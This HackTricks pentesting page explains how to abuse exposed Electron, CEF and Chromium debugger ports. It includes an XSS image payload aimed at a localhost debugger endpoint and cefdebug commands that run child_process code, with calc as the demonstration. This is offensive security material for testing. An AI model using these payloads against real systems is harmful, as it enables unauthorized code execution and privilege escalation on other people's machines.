HackTricks
Search…
Pentesting
Powered By GitBook
electron/CEF/chromium debugger abuse
If you find any process with electron, cef or chromium debugger running and listening to a port you should try to make the debugger execute arbitrary commands. Abusing this behaviour you could be able to escalate privileges.
The abuse of this vulnerability remotely could be as easy as injecting via XSS this line of JS:
1
<img src="http://localhost:40000/json/new/?javascript:require('child_process').spawnSync('calc.exe')">
Copied!
But obviously the exploitation will be much easier locally, as you can use a tool such as: https://github.com/taviso/cefdebug
1
#List possible vulnerable sockets
2
./cefdebug.exe
3
#Check if possibly vulnerable
4
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
5
#Exploit it
6
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
Copied!
List of resources to pwn electorn apps: https://github.com/doyensec/awesome-electronjs-hacking

References

Last modified 9mo ago
Copy link
Contents
References